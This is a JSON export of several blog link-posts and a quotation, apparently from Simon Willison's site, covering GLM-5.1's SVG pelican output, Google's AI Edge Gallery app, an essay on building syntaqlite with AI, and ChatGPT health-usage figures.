  "id": 9409,
  "slug": "glm-51",
  "link_url": "https://z.ai/blog/glm-5.1",
  "link_title": "GLM-5.1: Towards Long-Horizon Tasks",
  "via_url": null,
  "via_title": null,
  "commentary": "Chinese AI lab Z.ai's latest model is a giant 754B parameter 1.51TB (on [Hugging Face](https://huggingface.co/zai-org/GLM-5.1)) MIT-licensed monster - the same size as their previous GLM-5 release, and sharing the [same paper](https://huggingface.co/papers/2602.15763).\r\n\r\nIt's available [via OpenRouter](https://openrouter.ai/z-ai/glm-5.1) so I asked it to draw me a pelican:\r\n\r\n    llm install llm-openrouter\r\n    llm -m openrouter/z-ai/glm-5.1 'Generate an SVG of a pelican on a bicycle'\r\n\r\nAnd something new happened... unprompted, the model [decided to give me](https://gist.github.com/simonw/af7170f54256cc007ef28a8721564be8) an HTML page that included both the SVG and a separate set of CSS animations!\r\n\r\nThe SVG was excellent, and might be my new favorite from an open weights model:\r\n\r\n![The bicycle is red and has a frame the correct shape and wheels with spokes. The pelican is a perky little fella.](https://static.simonwillison.net/static/2026/glm-5.1-pelican.png)\r\n\r\nBut the animation [broke it](https://gisthost.github.io/?73bb6808b18c2482f66e5f082c75f36e):\r\n\r\n![Animation - the wheels and pedals rotate, the clouds move... and the pelican has vanished, but there is a little blob bobbing up and down in the top left corner.](https://static.simonwillison.net/static/2026/glm-5.1-broken-light-lossy.gif)\r\n\r\nThat's the pelican, floating up in the top left corner.\r\n\r\nI usually don't do follow-up prompts for the pelican test, but in this case I made an exception:\r\n\r\n    llm -c 'the animation is a bit broken, the pelican ends up positioned off the screen at the top right'\r\n\r\nGLM 5.1 replied:\r\n\r\n> The issue is that CSS `transform` animations on SVG elements override the SVG `transform` attribute used for positioning, causing the pelican to lose its placement and fly off to the top-right. The fix is to separate positioning (SVG attribute) from animation (inner group) and use `<animateTransform>` for SVG rotations since it handles coordinate systems correctly.\r\n\r\nAnd spat out [fresh HTML](https://static.simonwillison.net/static/2026/glm-5.1-pelican-fixed.html) which fixed the problem!\r\n\r\n![Now everything is right - the bicycle rotates correctly, the pelican sits on it and bobs up and down, and its lower beak moves slightly as well.](https://static.simonwillison.net/static/2026/glm-5.1-pelican-fixed-medium-lossy.gif)\r\n\r\nI particularly like the animation of the beak, which is described in the SVG comments like so:\r\n\r\n<div class=\"highlight highlight-text-xml-svg\"><pre><span class=\"pl-c\"><span class=\"pl-c\">&lt;!--</span> Pouch (lower beak) with wobble <span class=\"pl-c\">--&gt;</span></span>\r\n&lt;<span class=\"pl-ent\">g</span>&gt;\r\n    &lt;<span class=\"pl-ent\">path</span> <span class=\"pl-e\">d</span>=<span class=\"pl-s\"><span class=\"pl-pds\">\"</span>M42,-58 Q43,-50 48,-42 Q55,-35 62,-38 Q70,-42 75,-60 L42,-58 Z<span class=\"pl-pds\">\"</span></span> <span class=\"pl-e\">fill</span>=<span class=\"pl-s\"><span class=\"pl-pds\">\"</span>url(#pouchGrad)<span class=\"pl-pds\">\"</span></span> <span class=\"pl-e\">stroke</span>=<span class=\"pl-s\"><span class=\"pl-pds\">\"</span>#b06008<span class=\"pl-pds\">\"</span></span> <span class=\"pl-e\">stroke-width</span>=<span class=\"pl-s\"><span class=\"pl-pds\">\"</span>1<span class=\"pl-pds\">\"</span></span> <span class=\"pl-e\">opacity</span>=<span class=\"pl-s\"><span class=\"pl-pds\">\"</span>0.9<span class=\"pl-pds\">\"</span></span>/&gt;\r\n    &lt;<span class=\"pl-ent\">path</span> <span class=\"pl-e\">d</span>=<span class=\"pl-s\"><span class=\"pl-pds\">\"</span>M48,-50 Q55,-46 60,-52<span class=\"pl-pds\">\"</span></span> <span class=\"pl-e\">fill</span>=<span class=\"pl-s\"><span class=\"pl-pds\">\"</span>none<span class=\"pl-pds\">\"</span></span> <span class=\"pl-e\">stroke</span>=<span class=\"pl-s\"><span class=\"pl-pds\">\"</span>#c06a08<span class=\"pl-pds\">\"</span></span> <span class=\"pl-e\">stroke-width</span>=<span class=\"pl-s\"><span class=\"pl-pds\">\"</span>0.8<span class=\"pl-pds\">\"</span></span> <span class=\"pl-e\">opacity</span>=<span class=\"pl-s\"><span class=\"pl-pds\">\"</span>0.6<span class=\"pl-pds\">\"</span></span>/&gt;\r\n    &lt;<span class=\"pl-ent\">animateTransform</span> <span class=\"pl-e\">attributeName</span>=<span class=\"pl-s\"><span class=\"pl-pds\">\"</span>transform<span class=\"pl-pds\">\"</span></span> <span class=\"pl-e\">type</span>=<span class=\"pl-s\"><span class=\"pl-pds\">\"</span>scale<span class=\"pl-pds\">\"</span></span>\r\n    <span class=\"pl-e\">values</span>=<span class=\"pl-s\"><span class=\"pl-pds\">\"</span>1,1; 1.03,0.97; 1,1<span class=\"pl-pds\">\"</span></span> <span class=\"pl-e\">dur</span>=<span class=\"pl-s\"><span class=\"pl-pds\">\"</span>0.75s<span class=\"pl-pds\">\"</span></span> <span class=\"pl-e\">repeatCount</span>=<span class=\"pl-s\"><span class=\"pl-pds\">\"</span>indefinite<span class=\"pl-pds\">\"</span></span>\r\n    <span class=\"pl-e\">additive</span>=<span class=\"pl-s\"><span class=\"pl-pds\">\"</span>sum<span class=\"pl-pds\">\"</span></span>/&gt;\r\n&lt;/<span class=\"pl-ent\">g</span>&gt;</pre></div>\r\n\r\n**Update**: On Bluesky [@charles.capps.me suggested](https://bsky.app/profile/charles.capps.me/post/3miwrn42mjc2t) a \"NORTH VIRGINIA OPOSSUM ON AN E-SCOOTER\" and...\r\n\r\n![This is so great. It's dark, the possum is clearly a possum, it's riding an escooter, lovely animation, tail bobbing up and down, caption says NORTH VIRGINIA OPOSSUM, CRUISING THE COMMONWEALTH SINCE DUSK - only glitch is that it occasionally blinks and the eyes fall off the face](https://static.simonwillison.net/static/2026/glm-possum-escooter.gif.gif)\r\n\r\nThe HTML+SVG comments on that one include `/* Earring sparkle */, <!-- Opossum fur gradient -->, <!-- Distant treeline silhouette - Virginia pines -->,  <!-- Front paw on handlebar -->` - here's [the transcript](https://gist.github.com/simonw/1864b89f5304eba03c3ded4697e156c4) and the [HTML result](https://static.simonwillison.net/static/2026/glm-possum-escooter.html).",
  "created": "2026-04-07T21:25:14+00:00",
  "metadata": {},
  "search_document": "'-35':396C '-38':398C '-42':394C,400C '-46':422C '-5':59C '-5.1':2A '-50':392C,420C '-52':424C '-58':390C,404C '-60':402C '/?73bb6808b18c2482f66e5f082c75f36e):':179C '/papers/2602.15763).':68C '/profile/charles.capps.me/post/3miwrn42mjc2t)':462C '/simonw/1864b89f5304eba03c3ded4697e156c4)':541C '/simonw/af7170f54256cc007ef28a8721564be8)':116C '/static/2026/glm-5.1-broken-light-lossy.gif)':211C '/static/2026/glm-5.1-pelican-fixed-medium-lossy.gif)':363C '/static/2026/glm-5.1-pelican-fixed.html)':330C '/static/2026/glm-5.1-pelican.png)':171C '/static/2026/glm-possum-escooter.gif.gif)':524C '/static/2026/glm-possum-escooter.html).':548C '/z-ai/glm-5.1)':76C '/zai-org/glm-5.1))':47C '0.6':434C '0.75':448C '0.8':432C '0.9':416C '0.97':444C '1':414C,441C,442C,445C,446C '1.03':443C '1.51':40C '48':393C '5.1':265C '60':423C '62':397C '75':401C '754b':38C 'a':18B,36C,84C,98C,101C,126C,153C,165C,197C,249C,463C,484C 'additive':452C 'ai':10B,13B,24B,29C 'ai-in-china':23B 'an':95C,117C,143C,242C,468C,489C 'and':61C,103C,125C,136C,151C,158C,183C,189C,202C,292C,312C,323C,348C,351C,353C,472C,496C,515C,542C 'animatetransform':435C 'animation':174C,180C,247C,309C,368C,492C 'animations':131C,273C 'as':55C,359C 'asked':79C 'at':260C 'attribute':281C,307C 'attributename':436C 'available':71C 'b06008':410C 'be':138C 'beak':356C,371C,383C 'bicycle':19B,102C,148C,340C 'bit':250C 'blinks':514C 'blob':199C 'bluesky':457C 'bobbing':200C,494C 'bobs':349C 'both':122C 'broke':175C 'broken':251C 'bsky.app':461C 'bsky.app/profile/charles.capps.me/post/3miwrn42mjc2t)':460C 'but':172C,194C,236C 'c':245C 'c06a08':428C 'caption':498C 'case':239C 'causing':285C 'charles.capps.me':458C 'china':26B 'chinese':28C 'clearly':483C 'clouds':187C 'comments':378C,528C 'commonwealth':505C 'coordinate':320C 'corner':208C,222C 'correct':156C 'correctly':322C,342C 'cruising':503C 'css':8B,130C,271C 'd':388C,418C 'dark':479C 'decided':110C 'described':374C 'do':227C 'don':225C 'down':203C,352C,497C 'draw':82C 'dur':447C 'dusk':507C 'e':470C 'e-scooter':469C 'earring':533C 'elements':276C 'ends':254C 'escooter':490C 'everything':336C 'excellent':135C 'exception':243C 'eyes':517C 'face':44C,521C 'fall':518C 'favorite':141C 'fella':168C 'fill':406C,425C 'fix':301C 'fixed':332C 'floating':216C 'fly':293C 'follow':229C 'follow-up':228C 'for':232C,283C,314C 'frame':154C 'fresh':326C 'from':142C,308C 'g':386C,454C 'generate':94C 'generative':12B 'generative-ai':11B 'giant':37C 'gist.github.com':115C,540C 'gist.github.com/simonw/1864b89f5304eba03c3ded4697e156c4)':539C 'gist.github.com/simonw/af7170f54256cc007ef28a8721564be8)':114C 'gisthost.github.io':178C 'gisthost.github.io/?73bb6808b18c2482f66e5f082c75f36e):':177C 'give':112C 'glitch':509C 'glm':1A,27B,58C,264C 'great':476C 'group':311C 'handles':319C 'happened':106C 'has':152C,192C 'here':535C 'horizon':6A 'html':118C,327C,526C,544C 'hugging':43C 'huggingface.co':46C,67C 'huggingface.co/papers/2602.15763).':66C 'huggingface.co/zai-org/glm-5.1))':45C 'i':78C,223C,240C,364C 'in':25B,204C,218C,237C,375C 'include':532C 'included':121C 'indefinite':451C 'inner':310C 'install':87C 'is':35C,149C,164C,196C,248C,269C,302C,337C,373C,474C,482C,510C 'issue':268C 'it':69C,80C,176C,318C,347C,477C,486C,512C 'its':290C,354C 'l42':403C 'lab':30C 'latest':33C 'left':207C,221C 'licensed':50C 'like':366C,379C 'little':167C,198C 'llm':21B,86C,89C,91C,244C 'llm-openrouter':88C 'llm-release':20B 'llms':14B 'long':5A 'long-horizon':4A 'lose':289C 'lovely':491C 'lower':355C,382C 'm':92C 'm42':389C 'm48':419C 'made':241C 'me':83C,113C 'might':137C 'mit':49C 'mit-licensed':48C 'model':34C,109C,146C 'monster':51C 'move':188C 'moves':357C 'my':139C 'new':105C,140C 'none':426C 'north':464C,500C 'now':335C 'occasionally':513C 'of':97C,129C,369C 'off':257C,294C,519C 'on':42C,100C,274C,346C,456C,467C,529C 'one':531C 'only':508C 'opacity':415C,433C 'open':144C 'openrouter':73C,90C 'openrouter.ai':75C 'openrouter.ai/z-ai/glm-5.1)':74C 'openrouter/z-ai/glm-5.1':93C 'opossum':466C,502C 'out':325C 'override':277C 'page':119C 'paper':65C 'parameter':39C 'particularly':365C 'path':387C,417C 'pedals':184C 'pelican':16B,85C,99C,163C,191C,215C,234C,253C,287C,344C 'pelican-riding-a-bicycle':15B 'perky':166C 'placement':291C 'positioned':256C 'positioning':284C,305C 'possum':481C,485C 'pouch':381C 'pouchgrad':408C 'previous':57C 'problem':334C 'prompts':231C 'q43':391C 'q55':395C,421C 'q70':399C 'red':150C 'release':22B,60C 'repeatcount':450C 'replied':266C 'result':545C 'riding':17B,488C 'right':263C,299C,338C 'rotate':185C 'rotates':341C 'rotations':316C 's':32C,70C,213C,449C,478C,487C,536C 'same':53C,64C 'says':499C 'scale':439C 'scooter':471C 'screen':259C 'separate':127C,304C 'set':128C 'shape':157C 'sharing':62C 'since':317C,506C 'sits':345C 'size':54C 'slightly':358C 'so':77C,380C,475C 'something':104C 'sparkle':534C 'spat':324C 'spokes':161C 'static.simonwillison.net':170C,210C,329C,362C,523C,547C 'static.simonwillison.net/static/2026/glm-5.1-broken-light-lossy.gif)':209C 'static.simonwillison.net/static/2026/glm-5.1-pelican-fixed-medium-lossy.gif)':361C 'static.simonwillison.net/static/2026/glm-5.1-pelican-fixed.html)':328C 'static.simonwillison.net/static/2026/glm-5.1-pelican.png)':169C 'static.simonwillison.net/static/2026/glm-possum-escooter.gif.gif)':522C 'static.simonwillison.net/static/2026/glm-possum-escooter.html).':546C 'stroke':409C,412C,427C,430C 'stroke-width':411C,429C 'suggested':459C 'sum':453C 'svg':9B,96C,124C,133C,275C,279C,306C,315C,377C,527C 'systems':321C 't':226C 'tail':493C 'tasks':7A 'tb':41C 'test':235C 'that':120C,212C,270C,511C,530C 'the':52C,63C,108C,123C,132C,147C,155C,162C,173C,181C,186C,190C,205C,214C,219C,233C,246C,252C,258C,261C,267C,278C,286C,296C,300C,333C,339C,343C,367C,370C,376C,480C,504C,516C,520C,525C,537C,543C 'their':56C 'there':195C 'this':238C,473C 'to':81C,111C,288C,295C,303C 'top':206C,220C,262C,298C 'top-right':297C 'towards':3A 'transcript':538C 'transform':272C,280C,437C 'type':438C 'unprompted':107C 'up':201C,217C,230C,255C,350C,495C 'update':455C 'url':407C 'use':313C 'used':282C 'usually':224C 'values':440C 'vanished':193C 'via':72C 'virginia':465C,501C 'was':134C 'weights':145C 'well':360C 'wheels':159C,182C 'which':331C,372C 'width':413C,431C 'with':160C,384C 'wobble':385C 'z':405C 'z.ai':31C,549C",
  "import_ref": null,
  "card_image": "https://static.simonwillison.net/static/2026/glm-5.1-pelican.png",
  "series_id": null,
  "use_markdown": true,
  "is_draft": false,
  "title": ""
}
blogmark 2026-04-06 05:18:26+00:00
{
  "id": 9408,
  "slug": "google-ai-edge-gallery",
  "link_url": "https://apps.apple.com/nl/app/google-ai-edge-gallery/id6749645337",
  "link_title": "Google AI Edge Gallery",
  "via_url": "https://news.ycombinator.com/item?id=47652561",
  "via_title": "Hacker News",
  "commentary": "Terrible name, really great app: this is Google's official app for running their Gemma 4 models (the E2B and E4B sizes, plus some members of the Gemma 3 family) directly on your iPhone.\r\n\r\nIt works *really* well. The E2B model is a 2.54GB download and is both fast and genuinely useful.\r\n\r\nThe app also provides \"ask questions about images\" and audio transcription (up to 30s) with the two small Gemma 4 models, and has an interesting \"skills\" demo which demonstrates tool calling against eight different interactive widgets, each implemented as an HTML page (though sadly the source code is not visible): interactive-map, kitchen-adventure, calculate-hash, text-spinner, mood-tracker, mnemonic-password, query-wikipedia, and qr-code.\r\n\r\n<img src=\"https://static.simonwillison.net/static/2026/gemini-agent-skills.jpg\" alt=\"Screenshot of an &quot;Agent Skills&quot; chat interface using the Gemma-4-E2B-it model. The user prompt reads &quot;Show me the Castro Theatre on a map.&quot; The model response, labeled &quot;Model on GPU,&quot; shows it &quot;Called JS skill &#39;interactive-map/index.html&#39;&quot; and displays an embedded Google Map centered on a red pin at The Castro Theatre in San Francisco, with nearby landmarks visible including Starbelly, Cliff&#39;s Variety, Blind Butcher, GLBT Historical Society Museum, and Fable. An &quot;Open in Maps&quot; link and &quot;View in full screen&quot; button are shown. Below the map, the model states &quot;The interactive map view for the Castro Theatre has been shown.&quot; with a response time of 2.4 s. A text input field with &quot;Type prompt...&quot; placeholder, a &quot;+&quot; button, and a &quot;Skills&quot; button appear at the bottom.\" style=\"max-width: min(400px, 100%); margin: 0 auto; display: block;\">\r\n\r\n(That demo did freeze the app when I tried to add a follow-up prompt though.)\r\n\r\nThis is the first time I've seen a local model vendor release an official app for trying out their models on in iPhone. Sadly it's missing permanent logs - conversations with this app are ephemeral.",
  "created": "2026-04-06T05:18:26+00:00",
  "metadata": {},
  "search_document": "'2.54':63C '3':48C '30s':86C '4':35C,92C 'a':62C,159C,173C 'about':79C 'add':158C 'adventure':128C 'against':104C 'ai':2A,7B,10B 'also':75C 'an':96C,112C,178C 'and':39C,66C,70C,81C,94C,144C 'app':24C,30C,74C,153C,180C,198C 'apps.apple.com':201C 'are':199C 'as':111C 'ask':77C 'audio':82C 'both':68C 'calculate':130C 'calculate-hash':129C 'calling':103C 'code':119C,147C 'conversations':195C 'demo':99C,149C 'demonstrates':101C 'did':150C 'different':106C 'directly':50C 'download':65C 'e2b':38C,59C 'e4b':40C 'each':109C 'edge':3A 'eight':105C 'ephemeral':200C 'family':49C 'fast':69C 'first':168C 'follow':161C 'follow-up':160C 'for':31C,181C 'freeze':151C 'gallery':4A 'gb':64C 'gemini':15B 'gemma':34C,47C,91C 'generative':9B 'generative-ai':8B 'genuinely':71C 'google':1A,5B,27C 'great':23C 'hacker':202C 'has':95C 'hash':131C 'html':113C 'i':155C,170C 'images':80C 'implemented':110C 'in':187C 'interactive':107C,124C 'interactive-map':123C 'interesting':97C 'iphone':6B,53C,188C 'is':26C,61C,67C,120C,166C 'it':54C,190C 'kitchen':127C 'kitchen-adventure':126C 'llm':17B 'llm-tool-use':16B 'llms':13B,14B 'local':12B,174C 'local-llms':11B 'logs':194C 'map':125C 'members':44C 'missing':192C 'mnemonic':139C 'mnemonic-password':138C 'model':60C,175C 'models':36C,93C,185C 'mood':136C 'mood-tracker':135C 'name':21C 'news':203C 'not':121C 'of':45C 'official':29C,179C 'on':51C,186C 'out':183C 'page':114C 'password':140C 'permanent':193C 'plus':42C 'prompt':163C 'provides':76C 'qr':146C 'qr-code':145C 'query':142C 'query-wikipedia':141C 'questions':78C 'really':22C,56C 'release':177C 'running':32C 's':28C,191C 'sadly':116C,189C 'seen':172C 'sizes':41C 'skills':98C 'small':90C 'some':43C 'source':118C 'spinner':134C 'terrible':20C 'text':133C 'text-spinner':132C 'that':148C 'the':37C,46C,58C,73C,88C,117C,152C,167C 'their':33C,184C 'this':25C,165C,197C 'though':115C,164C 'time':169C 'to':85C,157C 'tool':18B,102C 'tracker':137C 'transcription':83C 'tried':156C 'trying':182C 'two':89C 'up':84C,162C 'use':19B 'useful':72C 've':171C 'vendor':176C 'visible':122C 'well':57C 'when':154C 'which':100C 'widgets':108C 'wikipedia':143C 'with':87C,196C 'works':55C 'your':52C",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "use_markdown": true,
  "is_draft": false,
  "title": ""
}
blogmark 2026-04-05 23:54:18+00:00
{
  "id": 9407,
  "slug": "building-with-ai",
  "link_url": "https://lalitm.com/post/building-syntaqlite-ai/",
  "link_title": "Eight years of wanting, three months of building with AI",
  "via_url": "https://news.ycombinator.com/item?id=47648828",
  "via_title": "Hacker News",
  "commentary": "Lalit Maganti provides one of my favorite pieces of long-form writing on agentic engineering I've seen in ages.\r\n\r\nThey spent eight years thinking about and then three months building [syntaqlite](https://github.com/lalitMaganti/syntaqlite), which they describe as \"[high-fidelity devtools that SQLite deserves](https://lalitm.com/post/syntaqlite/)\".\r\n\r\nThe goal was to provide fast, robust and comprehensive linting and verifying tools for SQLite, suitable for use in language servers and other development tools - a parser, formatter, and verifier for SQLite queries. I've found myself wanting this kind of thing in the past myself, hence my (far less production-ready) [sqlite-ast](https://simonwillison.net/2026/Jan/30/sqlite-ast-2/) project from a few months ago.\r\n\r\nLalit had been procrastinating on this project for years, because of the inevitable tedium of needing to work through 400+ grammar rules to help build a parser. That's exactly the kind of tedious work that coding agents excel at!\r\n\r\nClaude Code helped get over that initial hump and build the first prototype:\r\n\r\n> AI basically let me put aside all my doubts on technical calls, my uncertainty of building the right thing and my reluctance to get started by giving me very concrete problems to work on. Instead of \u201cI need to understand how SQLite\u2019s parsing works\u201d, it was \u201cI need to get AI to suggest an approach for me so I can tear it up and build something better\". I work so much better with concrete prototypes to play with and code to look at than endlessly thinking about designs in my head, and AI lets me get to that point at a pace I could not have dreamed about before. Once I took the first step, every step after that was so much easier.\r\n\r\nThat first vibe-coded prototype worked great as a proof of concept, but they eventually made the decision to throw it away and start again from scratch. AI worked great for the low level details but did not produce a coherent high-level architecture:\r\n\r\n> I found that AI made me procrastinate on key design decisions. Because refactoring was cheap, I could always say \u201cI\u2019ll deal with this later.\u201d And because AI could refactor at the same industrial scale it generated code, the cost of deferring felt low. But it wasn\u2019t: deferring decisions corroded my ability to think clearly because the codebase stayed confusing in the meantime.\r\n\r\nThe second attempt took a lot longer and involved a great deal more human-in-the-loop decision making, but the result is a robust library that can stand the test of time.\r\n\r\nIt's worth setting aside some time to read this whole thing - it's full of non-obvious downsides to working heavily with AI, as well as a detailed explanation of how they overcame those hurdles.\r\n\r\nThe key idea I took away from this concerns AI's weakness in terms of design and architecture:\r\n\r\n> When I was working on something where I didn\u2019t even know what I wanted, AI was somewhere between unhelpful and harmful. The architecture of the project was the clearest case: I spent weeks in the early days following AI down dead ends, exploring designs that felt productive in the moment but collapsed under scrutiny. In hindsight, I have to wonder if it would have been faster just thinking it through without AI in the loop at all.\r\n>\r\n> But expertise alone isn\u2019t enough. Even when I understood a problem deeply, AI still struggled if the task had no objectively checkable answer. Implementation has a right answer, at least at a local level: the code compiles, the tests pass, the output matches what you asked for. Design doesn\u2019t. We\u2019re still arguing about OOP decades after it first took off.",
  "created": "2026-04-05T23:54:18+00:00",
  "metadata": {},
  "search_document": "'/2026/jan/30/sqlite-ast-2/)':135C '/lalitmaganti/syntaqlite),':62C '/post/syntaqlite/)':76C '400':161C 'a':102C,138C,167C,296C,328C,359C,433C,438C,453C,491C,606C,622C,628C 'ability':417C 'about':53C,282C,303C,651C 'after':313C,654C 'again':344C 'agentic':25B,41C 'agentic-engineering':24B 'agents':179C 'ages':47C 'ago':141C 'ai':10A,12B,15B,18B,195C,246C,288C,347C,368C,392C,487C,509C,533C,557C,590C,609C 'ai-assisted-programming':17B 'all':201C,595C 'alone':598C 'always':382C 'an':249C 'and':54C,84C,87C,98C,105C,190C,214C,259C,274C,287C,342C,390C,436C,516C,538C 'answer':619C,624C 'approach':250C 'architecture':364C,517C,541C 'arguing':650C 'as':66C,327C,488C,490C 'aside':200C,467C 'asked':642C 'assisted':19B 'ast':132C 'at':181C,278C,295C,395C,594C,625C,627C 'attempt':431C 'away':341C,505C 'basically':196C 'because':151C,376C,391C,421C 'been':144C,583C 'before':304C 'better':262C,267C 'between':536C 'build':166C,191C,260C 'building':8A,58C,210C 'but':332C,355C,409C,449C,569C,596C 'by':220C 'calls':206C 'can':255C,457C 'case':548C 'cheap':379C 'checkable':618C 'claude':182C 'clearest':547C 'clearly':420C 'code':183C,275C,402C,632C 'codebase':423C 'coded':323C 'coding':23B,178C 'coherent':360C 'collapsed':570C 'compiles':633C 'comprehensive':85C 'concept':331C 'concerns':508C 'concrete':224C,269C 'confusing':425C 'corroded':415C 'cost':404C 'could':299C,381C,393C 'days':555C 'dead':559C 'deal':386C,440C 'decades':653C 'decision':337C,447C 'decisions':375C,414C 'deeply':608C 'deferring':406C,413C 'describe':65C 'deserves':73C 'design':374C,515C,644C 'designs':283C,562C 'detailed':492C 'details':354C 'development':100C 'devtools':70C 'did':356C 'didn':526C 'doesn':645C 'doubts':203C 'down':558C 'downsides':482C 'dreamed':302C 'early':554C 'easier':318C 'eight':1A,50C 'endlessly':280C 'ends':560C 'engineering':26B,42C 'enough':601C 'even':528C,602C 'eventually':334C 'every':311C 'exactly':171C 'excel':180C 'expertise':597C 'explanation':493C 'exploring':561C 'far':125C 'fast':82C 'faster':584C 'favorite':33C 'felt':407C,564C 'few':139C 'fidelity':69C 'first':193C,309C,320C,656C 'following':556C 'for':90C,93C,107C,149C,251C,350C,643C 'form':38C 'formatter':104C 'found':112C,366C 'from':137C,345C,506C 'full':477C 'generated':401C 'generative':14B 'generative-ai':13B 'get':185C,218C,245C,291C 'github.com':61C 'github.com/lalitmaganti/syntaqlite),':60C 'giving':221C 'goal':78C 'grammar':162C 'great':326C,349C,439C 'hacker':660C 'had':143C,615C 'harmful':539C 'has':621C 'have':301C,576C,582C 'head':286C 'heavily':485C 'help':165C 'helped':184C 'hence':123C 'high':68C,362C 'high-fidelity':67C 'high-level':361C 'hindsight':574C 'how':235C,495C 'human':443C 'human-in-the-loop':442C 'hump':189C 'hurdles':499C 'i':43C,110C,231C,242C,254C,263C,298C,306C,365C,380C,384C,503C,519C,525C,531C,549C,575C,604C 'idea':502C 'if':579C,612C 'implementation':620C 'in':46C,95C,119C,284C,426C,444C,512C,552C,566C,573C,591C 'industrial':398C 'inevitable':154C 'initial':188C 'instead':229C 'involved':437C 'is':452C 'isn':599C 'it':240C,257C,340C,400C,410C,463C,475C,580C,587C,655C 'just':585C 'key':373C,501C 'kind':116C,173C 'know':529C 'lalit':27C,142C 'lalitm.com':75C,659C 'lalitm.com/post/syntaqlite/)':74C 'language':96C 'later':389C 'least':626C 'less':126C 'let':197C 'lets':289C 'level':353C,363C,630C 'library':455C 'linting':86C 'll':385C 'llms':16B 'local':629C 'long':37C 'long-form':36C 'longer':435C 'look':277C 'loop':446C,593C 'lot':434C 'low':352C,408C 'made':335C,369C 'maganti':28C 'making':448C 'matches':639C 'me':198C,222C,252C,290C,370C 'meantime':428C 'moment':568C 'months':6A,57C,140C 'more':441C 'much':266C,317C 'my':32C,124C,202C,207C,215C,285C,416C 'myself':113C,122C 'need':232C,243C 'needing':157C 'news':661C 'no':616C 'non':480C 'non-obvious':479C 'not':300C,357C 'objectively':617C 'obvious':481C 'of':3A,7A,31C,35C,117C,152C,156C,174C,209C,230C,330C,405C,461C,478C,494C,514C,542C 'off':658C 'on':40C,146C,204C,228C,372C,522C 'once':305C 'one':30C 'oop':652C 'other':99C 'output':638C 'over':186C 'overcame':497C 'pace':297C 'parser':103C,168C 'parsing':238C 'pass':636C 'past':121C 'pieces':34C 'play':272C 'point':294C 'problem':607C 'problems':225C 'procrastinate':371C 'procrastinating':145C 'produce':358C 'production':128C 'production-ready':127C 'productive':565C 'programming':20B 'project':136C,148C,544C 'proof':329C 'prototype':194C,324C 'prototypes':270C 'provide':81C 'provides':29C 'put':199C 'queries':109C 're':648C 'read':471C 'ready':129C 'refactor':394C 'refactoring':377C 'reluctance':216C 'result':451C 'right':212C,623C 'robust':83C,454C 'rules':163C 's':170C,237C,464C,476C,510C 'same':397C 'say':383C 'scale':399C 'scratch':346C 'scrutiny':572C 'second':430C 'seen':45C 'servers':97C 'setting':466C 'simonwillison.net':134C 'simonwillison.net/2026/jan/30/sqlite-ast-2/)':133C 'so':253C,265C,316C 'some':468C 'something':261C,523C 'somewhere':535C 'spent':49C,550C 'sqlite':11B,72C,91C,108C,131C,236C 'sqlite-ast':130C 'stand':458C 'start':343C 'started':219C 'stayed':424C 'step':310C,312C 'still':610C,649C 'struggled':611C 'suggest':248C 'suitable':92C 'syntaqlite':59C 't':412C,527C,600C,646C 'task':614C 'tear':256C 'technical':205C 'tedious':175C 'tedium':155C 'terms':513C 'test':460C 'tests':635C 'than':279C 'that':71C,169C,177C,187C,293C,314C,319C,367C,456C,563C 'the':77C,120C,153C,172C,192C,211C,308C,336C,351C,396C,403C,422C,427C,429C,445C,450C,459C,500C,540C,543C,546C,553C,567C,592C,613C,631C,634C,637C 'then':55C 'they':48C,64C,333C,496C 'thing':118C,213C,474C 'think':419C 'thinking':52C,281C,586C 'this':115C,147C,388C,472C,507C 'those':498C 'three':5A,56C 'through':160C,588C 'throw':339C 'time':462C,469C 'to':80C,158C,164C,217C,226C,233C,244C,247C,271C,276C,292C,338C,418C,470C,483C,577C 'took':307C,432C,504C,657C 'tools':89C,101C 'uncertainty':208C 'under':571C 'understand':234C 'understood':605C 'unhelpful':537C 'up':258C 'use':94C 've':44C,111C 'verifier':106C 'verifying':88C 'very':223C 'vibe':22B,322C 'vibe-coded':321C 'vibe-coding':21B 'wanted':532C 'wanting':4A,114C 'was':79C,241C,315C,378C,520C,534C,545C 'wasn':411C 'we':647C 'weakness':511C 'weeks':551C 'well':489C 'what':530C,640C 'when':518C,603C 'where':524C 'which':63C 'whole':473C 'with':9A,268C,273C,387C,486C 'without':589C 'wonder':578C 'work':159C,176C,227C,264C 'worked':325C,348C 'working':484C,521C 'works':239C 'worth':465C 'would':581C 'writing':39C 'years':2A,51C,150C 'you':641C",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "use_markdown": true,
  "is_draft": false,
  "title": ""
}
quotation 2026-04-05 21:47:06+00:00
{
  "id": 2135,
  "slug": "chengpeng-mou",
  "quotation": "From anonymized U.S. ChatGPT data, we are seeing:\r\n\r\n- ~2M weekly messages on health insurance\r\n- ~600K weekly messages [classified as healthcare] from people living in \u201chospital deserts\u201d (30 min drive to nearest hospital)\r\n- 7 out of 10 msgs happen outside clinic hours",
  "source": "Chengpeng Mou",
  "source_url": "https://twitter.com/cpmou2022/status/2040606209800290404",
  "created": "2026-04-05T21:47:06+00:00",
  "metadata": {},
  "search_document": "'10':36A '2m':9A '30':27A '600k':15A '7':33A 'ai':42B,46B,50B 'ai-ethics':49B 'anonymized':2A 'are':7A 'as':19A 'chatgpt':4A,47B 'chengpeng':52C 'classified':18A 'clinic':40A 'data':5A 'deserts':26A 'drive':29A 'ethics':51B 'from':1A,21A 'generative':45B 'generative-ai':44B 'happen':38A 'health':13A 'healthcare':20A 'hospital':25A,32A 'hours':41A 'in':24A 'insurance':14A 'living':23A 'llms':48B 'messages':11A,17A 'min':28A 'mou':53C 'msgs':37A 'nearest':31A 'of':35A 'on':12A 'openai':43B 'out':34A 'outside':39A 'people':22A 'seeing':8A 'to':30A 'u.s':3A 'we':6A 'weekly':10A,16A",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "is_draft": false,
  "context": "Head of Business Finance, OpenAI"
}
blogmark 2026-04-04 16:08:19+00:00
{
  "id": 9406,
  "slug": "a-visual-guide-to-gemma-4",
  "link_url": "https://newsletter.maartengrootendorst.com/p/a-visual-guide-to-gemma-4",
  "link_title": "A visual guide to Gemma 4",
  "via_url": null,
  "via_title": null,
  "commentary": "Maarten Grootendorst joined Google DeepMind two months ago and has been working on the Gemma 4 release.",
  "created": "2026-04-04T16:08:19+00:00",
  "metadata": {},
